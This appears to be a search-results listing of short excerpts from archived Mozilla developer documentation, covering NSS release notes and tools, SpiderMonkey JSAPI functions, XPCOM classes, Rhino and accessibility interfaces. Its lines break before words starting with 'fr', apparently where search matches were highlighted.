freebsd bug 1607099 - remove the buildbot configuration bug 1585429 - add more hkdf test vectors bug 1573911 - add more rsa test vectors bug 1605314 - compare all 8 bytes of an mp_digit when clamping in windows assembly/mp_comba bug 1604596 - update wycheproof vectors and add support for cbc, p256-ecdh, and cmac tests bug 1608493 - use aes-n...
... bug 1547639 - update zlib in nss to 1.2.11 bug 1609181 - detect arm (32-bit) cpu features on
freebsd bug 1602386 - fix build on
freebsd/powerpc* bug 1608151 - introduce nss_disable_altivec bug 1612623 - depend on nspr 4.25 bug 1609673 - fix a crash when nss is compiled without libnssdbm support, but the nssdbm shared object is available anyway.
NSS 3.53 release notes
(bug 290526) seed is now moved into a new
freebl directory
freebl/deprecated (bug 1636389).
... this attribute provides a more graceful phase-out for certificate authorities than complete removal
from the root certificate builtin store.
...vsx vector instructions bug 1639033 - fix various compile warnings in nss bug 1640041 - fix a null pointer in security/nss/lib/ssl/sslencode.c:67 bug 1640042 - fix a null pointer in security/nss/lib/ssl/sslsock.c:4460 bug 1638289 - avoid multiple definitions of sha{256,384,512}_* symbols when linking lib
freeblpriv3.so in firefox on ppc64le bug 1636389 - relocate deprecated seed algorithm bug 1637083 - lib/ckfw: no such file or directory.
nss tech note7
here is the asn.1 type definition: rsapublickey ::= sequence { modulus integer, -- n publicexponent integer -- e } the following sample code (error handling omitted for brevity) encodes a rsapublickey
from a modulus and a public exponent and imports the public key into nss.
... */ inpubkey.m_modulus.type = siunsignedinteger; inpubkey.m_exponent.type = siunsignedinteger; arena = port_newarena(der_default_chunksize); sec_asn1encodeitem(arena, &derpubkey, &inpubkey, myrsapublickeytemplate); pubkey = seckey_importderpublickey(&derpubkey, ckk_rsa); port_
freearena(arena, pr_false); public keys may be extracted
from certificates.
...use pk11_
freesymkey() to release a reference to a symmetric key (pk11symkey *); the symmetric key is destroyed when its reference count becomes zero.
NSS tools : vfychain
options -a the following certfile is base64 encoded -b yymmddhhmmz validate date (default: now) -d directory database directory -f enable cert fetching
from aia url -o oid set policy oid for cert validation(format oid.1.2.3) -p use pkix library to validate certificate by calling: * cert_verifycertificate if specified once, * cert_pkixverifycert if specified twice and more.
...possible flags: "testlocalinfofirst" and "require
freshinfo".
...mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc:
freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, and sun.
gtstd.html
you can use communicator to set up client certificate databases by obtaining certificates
from either a public ca or
from a certificate server such as netscape certificate management system.
...for production deployment, the nss team strongly recommends that you either: use certificates
from a competent third-party ca that is already known to your relying party software (e.g.
... >certutil -s -d ca_db -n "myco's root ca" -s "cn=my ca,o=myco,st=california,c=us" -t "ct,," -x -2 enter password or pin for "communicator certificate db": extract the ca certificate
from the ca's certificate database to a file.
NSS tools : signver
extended examples verifying a signature the -v option verifies that the signature in a given signature file is valid when used to sign the given object (
from the input file).
... the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which prevent it
from being easily used by multiple applications simultaneously.
... mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc:
freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, and sun.
NSS tools : vfychain
options -a the following certfile is base64 encoded -b yymmddhhmmz validate date (default: now) -d directory database directory -f enable cert fetching
from aia url -o oid set policy oid for cert validation(format oid.1.2.3) -p use pkix library to validate certificate by calling: * cert_verifycertificate if specified once, * cert_pkixverifycert if specified twice and more.
...possible flags: "testlocalinfofirst" and "require
freshinfo".
... mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc:
freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, and sun.
Necko Interfaces Overview
nsiioservice central necko service manages protocol handlers thin layer over protocol handlers provides interface for creating uri objects
from uri strings maps uri scheme to appropriate nsiprotocolhandler impl nsiuri (nsiurl, nsifileurl, nsistandardurl) represents an uri, with getters and setters for various uri parts (eg.
...http) maps uri string to nsiuri instance via newuri method creates nsichannel instance
from nsiuri instance via newchannel method nsistreamlistener : nsirequestobserver implemented by the consumer of a nsichannel instance passed to nsichannel::asyncopen method nsirequestobserver::onstartrequest - notifies start of async download nsistreamlistener::ondataavailable - notifies presence of downloaded data nsirequestobserver::onstoprequest - notifies completion of async download, p...
...ossibly w/ error nsiloadgroup : nsirequest attribute of a nsirequest channel impl adds itself to its load group during invocation of asyncopen channel impl removes itself
from its load group when download completes load groups in gecko own all channels used to load a particular page (until the channels complete) all channels owned by a load group can be canceled at once via the load group's nsirequest::cancel method nsitransport represents a physical connection, such as a file descriptor or a socket used directly by protocol handler implementations (as well as by mailnews and chatzilla) synchronous i/o methods: openinputstream, openoutputstream asynchronous i/o methods: asyncread, asyncwrite nsitransport::asyncread takes a nsistreamlistener parameter original document in...
Rhino downloads archive
you can download binary distributions of rhino
from http://ftp.mozilla.org/pub/mozilla.org/js/.
...if you would like to use e4x you need to add xbean.jar
from xmlbeans distribution to your class path.
... if you are looking for js.jar for xslt or for ibm's bean scripting
framework (bsf), please read the following note and then download one of the zip files above and unzip it.
Rhino Examples
sample scripts the unique.js script allows printing unique lines
from a file.
...controlling the javascript engine the runscript class runscript.java is a simple program that executes a script
from the command line.
...the file class - an advanced example file.java extends scriptableobject to provide a means of reading and writing files
from javascript.
Small Footprint
optimizer it is possible to run rhino with interpreter mode only, allowing you to remove code for classfile generation that include all the classes
from <tt>org.mozilla.javascript.optimizer</tt> package.
... class generation library if you do not include optimizer or javaadapter, nor do you use policysecuritycontroller then you do not need rhino library for class file generation and you can remove all the classes
from in org.mozilla.classfile package.
...to build such minimalist jar without debug information, run the following command
from the top directory of rhino distribution: ant clean ant -ddebug=off -dno-regexp=true -dno-e4x=true smalljar if you omit -dno-regexp=true, then the resulting smalljs.jar will include regular expression support.
Rhino history
rhino gets its name
from the animal on the cover of the o'reilly book about javascript.
...this produced the best performance (often beating the c implementation of javascript when run on a jit), but suffered
from two faults.
...originally rhino classfile generation had been held back
from release.
64-bit Compatibility
amd64 pointers if mucking with pointers on amd64 (or em64-t/intel64), it is important to keep in mind an invariant that bits 63-48 must be sign-extended
from bit 47.
...lir safety it is not immediately clear
from reading lir which opcodes should be used for 64-bit safety.
...for example, this code tries to load an index
from an integer array, but it is not portable: lir->insload(lir_ldp, lir->ins2(lir_piadd, arrayins, lir->ins2i(lir_mul, indexins, sizeof(int)) ), 0); the sanityfilter will assert on a 64-bit platform because lir_piadd (which will be lir_qiadd) needs both operands to be 64-bit.
JS::AutoIdArray
this article covers features introduced in spidermonkey 17 take ownership of a jsidarray and
free it later.
... description js::autoidarray takes the ownership of jsidarray, and
frees it in destructor by calling js_destroyidarray.
... examples { js::autoidarray ids(cx, js_enumerate(cx, obj)); if (!ids) // check the returned value
from js_enumerate return false; for (int32_t i = 0, len = ids.length(); i < len; i++) { somefunc(cx, ids[i]); } /* when leaving this scope, the jsidarray returned by js_enumerate is
freed.
JS::CloneFunctionObject
this article covers features introduced in spidermonkey 38 create a new function object
from an existing jsfunction.
... syntax jsobject * js::clonefunctionobject(jscontext *cx, js::handleobject funobj); jsobject * js::clonefunctionobject(jscontext *cx, js::handleobject funobj, js::autoobjectvector &scopechain); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... description js::clonefunctionobject creates a new function object
from funobj.
JS::HandleValueArray
syntax js::handlevaluearray(const js::rootedvalue& value); js::handlevaluearray(const js::autovaluevector& values); js::handlevaluearray(const js::autovaluearray<n>& values); js::handlevaluearray(const js::callargs& args); js::handlevaluearray::
frommarkedlocation(size_t len, const js::value *elements); js::handlevaluearray::subarray(const js::handlevaluearray& values, size_t startindex, size_t len); js::handlevaluearray::empty(); name type description value js::rootedvalue & an element of newly created 1-length array.
... len size_t (
frommarkedlocation only) length of elements array or (subarray only) length of sub array of values.
... elements js::value * (
frommarkedlocation only) a pointer to the first element of an array of js::value.
JS::Value
the garbage collector is designed to automatically
free unreachable memory.
...so it might
free it, leaving a dangling pointer.
...these confusing semantics led to this method being removed
from the jsapi in more recent releases, but older code might still use it.
JSClass
this is called at some point after the object becomes unreachable, and can be used to
free any additional resources associated with the object.
...implement a jsclass.finalize callback that
frees the private data.
...y 31 or older * static jsclass printer_class = { * "printer", * jsclass_has_private, * js_propertystub, js_propertystub, js_propertystub, js_strictpropertystub, * js_enumeratestub, js_resolvestub, js_convertstub, printer_finalize, * jsclass_no_optional_members * }; */ bool printer_construct(jscontext *cx, unsigned argc, jsval *vp) { js::callargs args = js::callargs
fromvp(argc, vp); jsobject *obj = js_newobjectforconstructor(cx, &printer_class, args); /* spidermonkey 31 or older * jsobject *obj = js_newobjectforconstructor(cx, &printer_class, vp); */ if (!obj) return false; myprinter *p = new myprinter; if (p == null) { js_reportoutofmemory(cx); return false; } js_setprivate(cx, obj, p); args.
JSExtendedClass.wrappedObject
(the result may be "object", "function", or "xml".) when assigning to __proto__ or __parent__
from script, the javascript engine checks to see if the assignment would produce a cycle.
... a wrapper object that wraps an array is considered an array for the purpose of array.prototype.concat and array.concat (which treat array arguments differently
from other arguments, per ecma 262-3 §15.4.4.4).
... wrapper objects typically have no prototype, do not allow setting __proto__, and inherit properties
from the wrapped object rather than the prototype chain (see jsnewresolveop).
JSFastNative
in js_threadsafe builds, the javascript engine calls this callback only
from within an active request on cx.
... when a jsfastnative is called, no jsstack
frame is generated.
...it also means that applications that use spidermonkey's security features, particularly those that implement jscheckaccessop or jscheckaccessidop in terms of apis such as js_
frameiterator and js_stack
frameprincipals, must take extra care, as the native function's principals will be missing
from the stack.
JSNative
in js_threadsafe builds, the javascript engine calls this callback only
from within an active request on cx.
...this has limited use cases; it's used to implement firefox's "slow script" dialog, for example.) when a jsnative is called, no jsstack
frame is generated.
...it also means that applications that implement jscheckaccessop or jscheckaccessidop in terms of apis such as js_
frameiterator and js_stack
frameprincipals, must take extra care, as the native function's principals will be missing
from the stack.
JSPropertyOp
in js_threadsafe builds, the javascript engine calls this callback only
from within an active request on cx.
...note that in javascript, an object can inherit properties
from its prototype.
...in this case obj points to the object
from which the property is being accessed, not the object on which the property was defined.
JS_AddExternalStringFinalizer
it is the callback's responsibility to
free the memory.
... the callback may not keep a reference to this jsstring, as its memory is about to be
freed.
... description add a finalizer for external strings created by js_newexternalstring using a type-code returned
from this function, and that understands how to
free or release the memory pointed at by js_getstringchars(str).
JS_CallFunction
jsval *argv, jsval *rval); bool js_callfunctionname(jscontext *cx, jsobject *obj, const char *name, unsigned argc, jsval *argv, jsval *rval); bool js_callfunctionvalue(jscontext *cx, jsobject *obj, jsval fval, unsigned argc, jsval *argv, jsval *rval); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
...on success, *rval receives the return value
from the function call.
...there should be one value for each argument you pass to the function; the number of arguments you pass may be different
from the number of arguments defined for the function.
JS_ClearDateCaches
this article covers features introduced in spidermonkey 17 clear the cache of calculated local time
from each date object.
... syntax void js_cleardatecaches(jscontext *cx); name type description cx jscontext * pointer to a javascript context
from which to derive runtime information.
... description js_cleardatecaches clears the cache of calculated local time
from each date object.
JS_CloneFunctionObject
create a new function object
from an existing jsfunction.
... syntax jsobject * js_clonefunctionobject(jscontext *cx, jsobject *funobj, jsobject *parent); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... description js_clonefunctionobject creates a new function object
from funobj.
JS_CompileUTF8FileHandle
compile a script, reading the source code
from a stdio file.
... description js_compileutf8filehandle reads a script
from a stdio file handle and compiles the script for execution by the javascript engine.
...if an error occurs during compilation, js_compileutf8filehandle stops reading
from the file and returns null.
JS_DecompileFunction
generates the complete source code of a function declaration
from a compiled function.
... syntax jsstring * js_decompilefunction(jscontext *cx, js::handle<jsfunction*> fun); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... description js_decompilefunction generates the complete source code of a function declaration
from a function's compiled form, fun.
JS_DefineProperty
it differs
from js_setproperty in that: it does not behave like ordinary property assignment in the javascript language; it allows the application to specify additional details (getter, setter, and attrs) governing the new property's behavior; it never calls a setter; it can call the jsclass.addproperty callback when js_setproperty would not, because it can replace an existing property.
... the javascript engine will call the getter or setter callback each time the property is read or written, whether
from javascript code or via jsapi functions like js_getproperty and js_setproperty.
...also note that certain jsapi functions, including js_lookupproperty, js_hasproperty, and property_attributes, can detect or examine a property without calling its getter.) if getter (or setter) is null, the new property will use the jsclass.getproperty (or jsclass.setproperty) callback
from obj's class.
JS_DestroyIdArray
free a jsidarray.
... ida jsidarray * the jsidarray to
free.
... description js_destroyidarray
frees the id array pointed to by ida.
JS_DestroyRuntime
frees a javascript runtime.
... description js_destroyruntime
frees the specified the javascript runtime environment, rt.
...js_destroyruntime garbage collects and
frees the memory previously allocated by js_newruntime.
JS_DumpHeap
when null, dump all things reachable
from the runtime roots.
... when non-null, dump only things reachable
from the object indicated.
... maxdepth size_t the upper bound on the number of edges to descend
from the graph roots.
JS_EnterLocalRootScope
js_addroot roots a variable, ensuring that whatever the variable points to at any given moment is protected
from gc.
...calling js_enterlocalrootscope and js_leavelocalrootscope around the body of the native hook protects each object, double, and string created using the same jscontext
from gc.
...to remove a gc thing
from a local root scope (perhaps to save memory), use js_forgetlocalroot.
JS_Enumerate
(the term own property refers to a property that is not inherited
from the object's prototype.) this is not quite the same behavior as a javascript for...in loop, which converts all property ids to strings and also enumerates inherited properties.
...the application must
free this array using js_destroyidarray.
...but, for example, if an application calls back into javascript while it is looping over the property ids in the jsidarray, the script could delete properties
from obj.
JS_ForgetLocalRoot
remove a value
from the innermost current local root scope.
...in case a native hook allocates many objects or other gc-things, but the native protects some of those gc-things by storing them as property values in an object that is itself protected, the hook can call js_forgetlocalroot to
free the local root automatically pushed for the now-protected gc-thing.
...calling it successively on other than the most recently allocated gc-thing will tend to average the time inefficiency, and may risk o(n2) growth rate, but in any event, you shouldn't allocate too many local roots if you can root as you go (build a tree of objects
from the top down, forgetting each latest-allocated gc-thing immediately upon linking it to its parent).
JS_GetGlobalObject
(in javascript, global variables are stored as properties of the global object.) syntax jsobject * js_getglobalobject(jscontext *cx); name type description cx jscontext * the context
from which to retrieve the global object.
...in either case, the global function used by the function or script may differ
from the context's global object.
...first, it is a convenient place for the application to stash the global object, where it is automatically protected
from garbage collection and the application can easily access it.
JS_GetStringBytes
str jsstring * string to retrieve bytes
from.
...otherwise the high byte is simply dropped
from each jschar.
...the array returned by js_getstringbytes or js_getstringbytesz is automatically
freed when str is finalized by the javascript garbage collection mechanism.
JS_InstanceOf
syntax bool js_instanceof(jscontext *cx, js::handle<jsobject*> obj, const jsclass *clasp, js::callargs *args); // added in spidermonkey 38 bool js_instanceof(jscontext *cx, js::handle<jsobject*> obj, const jsclass *clasp, jsval *argv); // obsolete since jsapi 32 name type description cx jscontext * pointer to a js context
from which to derive runtime information.
...argv must be the argv argument passed
from the engine to a jsnative callback, js_argv(cx, rv) in a jsfastnative callback, or null.
...to use it this way, pass the arguments provided by the engine for args with js::callargs
fromvp(argc, vp).
JS_LockGCThing
protect a specified js item
from garbage collection.
... description js_lockgcthing is a deprecated function that protects a specified item, thing, associated with an executable script context, cx,
from garbage collection.
...js_unlockgcthing removes a lock
from a specified item, thing, allowing it to be garbage collected when the javascript engine determines it is unreachable.
JS_NewPropertyIterator
(this differs
from longstanding for..in loop order, which uses the order in which obj's properties were defined.
... note also that while for..in includes properties inherited
from prototypes, iterator objects do not.) on success, this returns an iterator object that can be passed to js_nextproperty to fetch the property ids.
...it is an opaque object with no properties visible
from javascript.
JS_NewStringCopyN
syntax jsstring * js_newstringcopyn(jscontext *cx, const char *s, size_t n); jsstring * js_newucstringcopyn(jscontext *cx, const char16_t *s, size_t n); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... n size_t number of characters to copy
from s into the new string.
... description js_newstringcopyn allocates space for a javascript string and its underlying storage, and copies n characters
from a c character array, s, into the new jsstring.
JS_PushArguments
markp points to a void * to hold the internally allocated stack
frame pointer to pass back to js_poparguments.
...on success, js_pusharguments fills in the supplied markp pointer and returns a pointer to the first element of an array of jsval which are automatically rooted as necessary (protected
from the gc temporarily).
... the application must call js_poparguments using the supplied markp stack pointer when done with this stack
frame, to
free the memory and unroot the jsvals.
JS_RestoreExceptionState
restores the exception state
from a jsexceptionstate object previously created using js_saveexceptionstate.
... syntax void js_restoreexceptionstate(jscontext *cx, jsexceptionstate *state); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... state jsexceptionstate * pointer to the jsexceptionstate object to restore exception state
from.
JS_SealObject
as of spidermonkey 1.8.5, js_sealobject has been removed
from the jsapi, because ecmascript 5 includes a "seal" concept (namely, that of object.seal) which is quite different
from that of js_sealobject.
... js_
freezeobject and js_deep
freezeobject are near-substitutes compatible with ecmascript semantics, implementing semantics compatible with those of object.
freeze.
... deep jsbool if true, seal all objects directly or indirectly reachable
from obj's slots.
JS_SetGCCallback
the callback may prevent gc
from starting by returning false.
...some quirky behavior follows
from this: the javascript engine can call the gc callback reentrantly on a single thread.
... in a js_threadsafe build, a jsgc_begin callback may happen on any thread, any time that thread triggers garbage collection (
from almost any jsapi call).
JS_SetInterruptCallback
in js_threadsafe builds, the javascript engine calls this callback only
from within an active request on cx.
... description these functions allow setting an interrupt callback that will be called
from the js thread some time after any thread triggered the callback using js_requestinterruptcallback.
...some common uses for an interrupt callback are: to run garbage collection periodically, by calling js_maybegc; to periodically take a break
from script execution to update the ui (though note that mozilla does not do this, by design); to enforce application limits on the amount of time a script may run.
JS_SetOperationCallback
in js_threadsafe builds, the javascript engine calls this callback only
from within an active request on cx.
... description these functions allow setting an operation callback that will be called
from the js thread some time after any thread triggered the callback using js_triggeroperationcallback.
...some common uses for an operation callback are: to run garbage collection periodically, by calling js_maybegc; to periodically take a break
from script execution to update the ui (though note that mozilla does not do this, by design); to enforce application limits on the amount of time a script may run.
Property attributes
assigning to obj.x, where obj inherits a non-shared property
from its prototype, creates a new own data property on obj; the prototype's .x is not shared with its children.
...this keeps the resolve hook
from accidentally triggering itself: unchecked recursion.
...nothing was specified when passed to object.defineproperty
from script.
SpiderMonkey 24
these release notes are an incomplete draft and were initially seeded
from the spidermonkey 17 release notes, so they're not necessarily complete or fully accurate.
... compiling it requires a c++ compiler, and the jsapi can only be used
from c++ code.
...feel
free to fix any problems you spot -- this is a wiki!
SpiderMonkey 31
compiling it requires a c++ compiler, and the jsapi can only be used
from c++ code.
... this entailed changing the vast majority of the jsapi
from raw types, such as js::value or js::value*, to js::handle and js::mutablehandle template types that encapsulate access to the provided value/string/object or its location.
...feel
free to fix any problems you spot -- this is a wiki!
SpiderMonkey 38
compiling it requires a c++ compiler, and the jsapi can only be used
from c++ code.
... this entailed changing the vast majority of the jsapi
from raw types, such as js::value or js::value*, to js::handle and js::mutablehandle template types that encapsulate access to the provided value/string/object or its location.
...feel
free to fix any problems you spot -- this is a wiki!
Running Automated JavaScript Tests
both sets of tests can be used
from a normal build of the js shell.
... the jstests test suite also includes some tests
from web-platform-tests.
... running jstest in a browser jstests also runs on browser, with the following command: ./mach jstestbrowser to run specific test, you can use --filter=pattern command-line argument, where pattern is a regexp pattern that is tested against file:///{path_to_obj_dir}/dist/test-stage/jsreftest/tests/jsreftest.html?test={relative_path_to_test_
from_js/src/tests} string: ./mach jstestbrowser --filter=pattern running jstests on treeherder when viewing treeherder after a push to the mozilla repositories, jstests run in the browser are shown as r(j) meaning "javascript reftests".
Running Parsemark
parsemark is a command-line testing utility for measuring parse/emit performance of the spidermonkey
front-end.
... the intent is to run a dozen or so large-payload js sites globbed up
from across the web.
... download the suite of parse tests
from bug 548621 and decompress them.
TPS History Lists
an integer value
from one of the transition types listed at https://developer.mozilla.org/en/nsinavhistoryservice#constants.
...an integer representing when the visit took place, expressed in hours
from the present.
...there are three different types: to delete all references to a specific page
from history, use an object with a uri property to delete all references to all pages
from a specific host, use an object with a host property to delete all history in a certain time period, use an object with begin and end properties, which should have integer values that express time since the present in hours (see date above) for example: var history_to_delete = [ { uri: "http://www.cnn.com/" ...
Using RAII classes in Mozilla
ensuring raii classes are not used as temporaries a common mistake when using raii classes is to accidentally forget to name object, which causes its scope to be different
from what is intended.
... static analysis static analysis passes are run on our testing in
frastructure using our clang plugin, you can also run them locally marking a raii class for the static analysis is very simple, and performing this marking causes the static analysis to produce a build-time error whenever a raii class is allocated as a temporary, on the heap, or in static storage.
...in particular, a class derived
from a class using these macros does not use moz_guard_object_notifier_init or moz_decl_use_guard_object_notifier, but instead uses either moz_guard_object_notifier_param_to_parent or moz_guard_object_notifier_only_param_to_parent: nsspecialautoscriptblocker::nsspecialautoscriptblocker(moz_guard_object_notifier_param_in_impl) : nsautoscriptblocker(moz_guard_object_notifier_only_param_to_parent) ...
Gecko object attributes
common attributes class the class name for an element
from html, xul, svg, etc.
... event-
from-input was the root cause of this event explicit user input?
... applied to: any widget that accepts input exposed via aria: aria-datatype exposed in xforms:
from boud instance node datatype draggable true when the accessible object can be grabbed.
places.sqlite Database Troubleshooting
how to (try to) recover
from a corrupt places.sqlite sometimes after a firefox/aurora/nightly upgrade, history disappears, but bookmarks are at their place.
... copy places.sqlite-corrupt
from the firefox profile folder to the work folder.
... download the latest precompiled binary sqlite command-line shell
from: https://www.sqlite.org/download.html extract sqlite3 executable into the work folder.
XML Extras
feature status feature status xmlserializer available xmlhttprequest available domparser (string and stream input source) available web services with soap and wsdl no longer available
from gecko 1.9/firefox 3.
... see also: xml in mozilla document.load() a few examples dealing with xml
from mozillazine knowledge base.
...the "workaround" is to use domparser object's parse
fromstring() method to create a document
from string, and pass the temporary document into send().
Aggregating the In-Memory Datasource
}; very painful, prone to errors, and
fragile as the interfaces are still in flux (a wee bit).
... technical details as before, have an nscomptr as your delegate, but this time around,don't derive
from nsirdfdatasource.
... = ns_static_cast(nsiglobalhistory*, this); } else if (aiid.equals(nscomtypeinfo<nsirdfdatasource>::getiid())) { return minner->queryinterface(aiid, aresult); } else { *aresult = nsnull; return ns_nointerface; } ns_addref(ns_static_cast(nsisupports*, aresult)); return ns_ok; } the only other thing that you'll need to be aware of is that you'll need to queryinterface()
from nsisupports to nsirdfdatasource before you can actually do anything useful with the datasource
from within your object.
Generating GUIDs
online tools generate guid online uuid (guid) generator on the web uuid generator for mozilla code (both idl and c++.h forms) you can get a guid
from one of the bots (such as botbot, firebot) on #firefox irc channel by /msging "uuid" to them.
... windows windows users can use the guidgen tool
from microsoft to obtain a guid.
... nsiuuidgenerator a uuid can be generated
from privileged mozilla code using nsiuuidgenerator.
Creating XPCOM components
raries xpcom services xpcom types method types reference counting status codes variable mappings common xpcom error codes using xpcom components component examples cookie manager the webbrowserfind component the weblock component component use in mozilla finding mozilla components using xpcom components in your cpp xpconnect: using xpcom components
from script component internals creating components in cpp xpcom initialization xpcom registry manifests registration methods in xpcom autoregistration the shutdown process three parts of a xpcom component library xpcom glue the glue library xpcom string classes creating the component code what we'll be working on component registration the regxpcom pro...
... getting access to the category manager providing access to weblock creating the weblock programming interface defining the weblock interface in xpidl the xpidl syntax scriptable interfaces subclassing nsisupports the web locking interface implementing weblock declaration macros representing return values in xpcom xpidl code generation getting the weblock service
from a client implementing the iweblock interface the directory service modifying paths with nsifile manipulating files with nsifile using nsilocalfile for reading data processing the white list data iweblock method by method lock and unlock addsite removesite setsites getnext getsites hasmoreelements finishing the component using
frozen interfaces copy...
...distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained
from the copyright holder.
XPCOM guide
ng the underlying concepts, and second by describing a number of common javascript patterns that cause leaks.creating xpcom componentsthis guide is about gecko, and about creating xpcom components for gecko-based applications.how to build an xpcom component in javascriptif you are looking for add-on sdk solution for xpcom javascript components then check out platform/xpcom module first.inheriting
from implementation classesgiven that idl interfaces map to abstract classes in c++, a common problem when dealing with idl is when you have an idl inheritance hierarchy, and a corresponding c++ implementation hierarchy, you run into multiple inheritance.
...items are found, added, and removed
from the hashtable by using the key.
... it is not that sequence of characters, though: the characters may not all be available when you read
from the stream.
Components.utils.importGlobalProperties
system scopes such as jsms and
frame scripts don't have certain objects, such as indexeddb and xmlhttprequest, that are available to dom window globals.
...domnodefilter obsolete since gecko 60 rtcidentityprovider textdecoder textencoder url urlsearchparams xmlhttprequest nsixmlhttprequest obsolete since gecko 60 for string/object in table without a minimum firefox version, it is not exactly known since when it was available, however it is guranteed available
from firefox 28 and up.
... import
from jsm this method worked until blob and file were no longer apart of jsm modules.
Components object
may only be called
from javascript code.
... utils.makeobjectpropsnormal ensures that all functions come
from the specified object's scope, and aren't cross-compartment wrappers.
... may only be called
from javascript code.
HOWTO
put the following at the end of your script: // do async processing //
from <https://developer.mozilla.org/en/xpconnect/xpcshell/howto> print("doing async work"); gscriptdone = false; var gthreadmanager = cc["@mozilla.org/thread-manager;1"] .getservice(ci.nsithreadmanager); var mainthread = gthreadmanager.currentthread; while (!gscriptdone) mainthread.processnextevent(true); while (mainthread.haspendingevents()) mainthread.processnextevent(true); 2.
...maybe it even uses javascript files
from chrome:// urls.
..."component returned failure code: 0x80040111 (ns_error_not_available) [nsixpccomponents_utils.import]" nsresult: "0x80040111 (ns_error_not_available)" location: "js
frame :: file.js :: <top_level> :: line 12" data: no] solution 1 var loader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getservice(components.interfaces.mozijssubscriptloader); loader.loadsubscript("chrome://myall/content/file.jsm"); see: http://mxr.mozilla.org/comm-central/...figutils.js#54 solution 2 append the following at the top of your js file which you want to run in xpcshell { // <https://developer.mozill...
Realloc
this may be 0, in which case realloc behaves like nsmemory::
free.
...the result must be
freed with a call to nsmemory::
free when it is no longer needed.
... see also nsmemory::
free ...
nsMemory
free the
free function
frees a block of memory that was allocated by xpcom's memory manager.
...the static methods defined on this class are not
frozen.
... however, if you use these functions in your xpcom component, and if you link to the xpcom glue library, then your component will only have a runtime dependency on the
frozen xpcom api.
RefPtr
it was derived
from an old #developers discussion.
... can i queryinterface a refptr to get a nscomptr
from the object it points to?
...if the concrete class has its own xpcom iid (not true by default, but one can be added), you can also qi
from an xpcom pointer to a concrete type: bar = do_queryobject(foo); if (bar) { ...
XPCOM glue classes
these "glue" classes are provided to make it easier to use xpcom
from c++ code.
...ly on destruction of the object.</t>nsautoreftraitsnsautoreftraits<t> is a template class describing traits of resources held by objects of class nsautoref<t> and/or nscountedref<t>.</t>nsautostringclass declarationnsautostring (external)class declarationnscautostringclass declarationnscautostring (external)class declarationnscomptrthis utility class simplifies managing xpcom interface references
from c++ code.nscountedrefnscountedref<t> is a template class implementing an object that takes a strong reference to a reference-counted resource that must be released, typically on destruction of the object.</t>nscstringclass declarationnscstring externalclass declarationnscstringcontainer (external)class declaration nscstringencodingthe nscstringencoding enumeration describes the set of chara...
...this is done using the functions addref() and release(), which respectively modify a variable of type nsautorefcnt, which basically is a wrapper around a count of the number of references refering to the class.nsstringclass declarationnsstring externalclass declarationnsstringcontainer (external)class declarationnssupportsweakreferenceinherit
from this c++ class to add canonical support for nsisupportsweakreference.nsxpidlcstringclass declarationnsxpidlstringclass declarationpromiseflatcstring (external)class declarationpromiseflatstring (external)class declaration ...
IAccessibleAction
1.0 66 introduced gecko 1.9 inherits
from: iunknown last changed in gecko 1.9 (firefox 3) every accessible object that can be manipulated via the native gui beyond the methods available either in the msaa iaccessible interface or in the set of iaccessible2 interfaces (other than this iaccessibleaction interface) should support the iaccessibleaction interface in order to provide assistive technology access to all the actions that can be performed by the object.
...there is no need to implement this method for single action controls since that would be redundant with the standard msaa programming practice of getting the mnemonic
from get_acckeyboardshortcut.
...
free it with cotaskmem
free.
IAccessibleHyperlink
1.0 66 introduced gecko 1.9 inherits
from: iaccessibleaction last changed in gecko 1.9 (firefox 3) this interface represents a hyperlink associated with a single substring of text or single non-text object.
...this interface is derived
from iaccessibleaction.
...this use case demonstrates that in some cases there is no need for iaccessiblehyperlink to derive
from iaccessibleaction.
IAccessibleTableCell
1.0 66 introduced gecko 1.9.2 inherits
from: iunknown last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview [propget] hresult columnextent([out] long ncolumnsspanned ); [propget] hresult columnheadercells([out, size_is(, ncolumnheadercells,)] iunknown cellaccessibles, [out] long ncolumnheadercells ); [propget] hresult columnindex([out] long columnindex ); [propget] hresult isselected([out] boolean isselected ); [propget] hresult rowcolumnextents([out] long row, [out] long column, [out] long rowextents, [out] long columnextents, [out] boolean isselected ); [propget] hresult rowextent([out...
...
free it with cotaskmem
free.
...
free it with cotaskmem
free.
amIWebInstaller
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview boolean installaddons
fromwebpage(in astring amimetype, in nsidomwindow awindow, in nsiuri areferer, [array, size_is(ainstallcount)] in wstring auris, [array, size_is(ainstallcount)] in wstring ahashes, [array, size_is(ainstallcount)] in wstring anames, [array, size_is(ainstallcount)] in wstring aicons, [optional] in amiinstallcallback acallback, [optional] in pruint32 ainstallcount); boolean isinstallenabled(in astring amimetype, in nsiuri areferer); note: pr...
... methods installaddons
fromwebpage() installs an array of add-ons at the request of a webpage.
... boolean installaddons
fromwebpage( in astring amimetype, in nsidomwindow awindow, in nsiuri areferer, [array, size_is(ainstallcount)] in wstring auris, [array, size_is(ainstallcount)] in wstring ahashes, [array, size_is(ainstallcount)] in wstring anames, [array, size_is(ainstallcount)] in wstring aicons, in amiinstallcallback acallback, optional in pruint32 ainstallcount optional ); parameters amimetype the mimetype for the add-ons.
mozIStorageResultSet
the mozistorageresultset interface represents a set of results
from a storage statement.
... last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits
from: nsisupports method overview mozistoragerow getnextrow(); methods getnextrow() returns the next row
from the result set.
...return value a mozistoragerow object containing the next row
from the result set, or null if there are no more results.
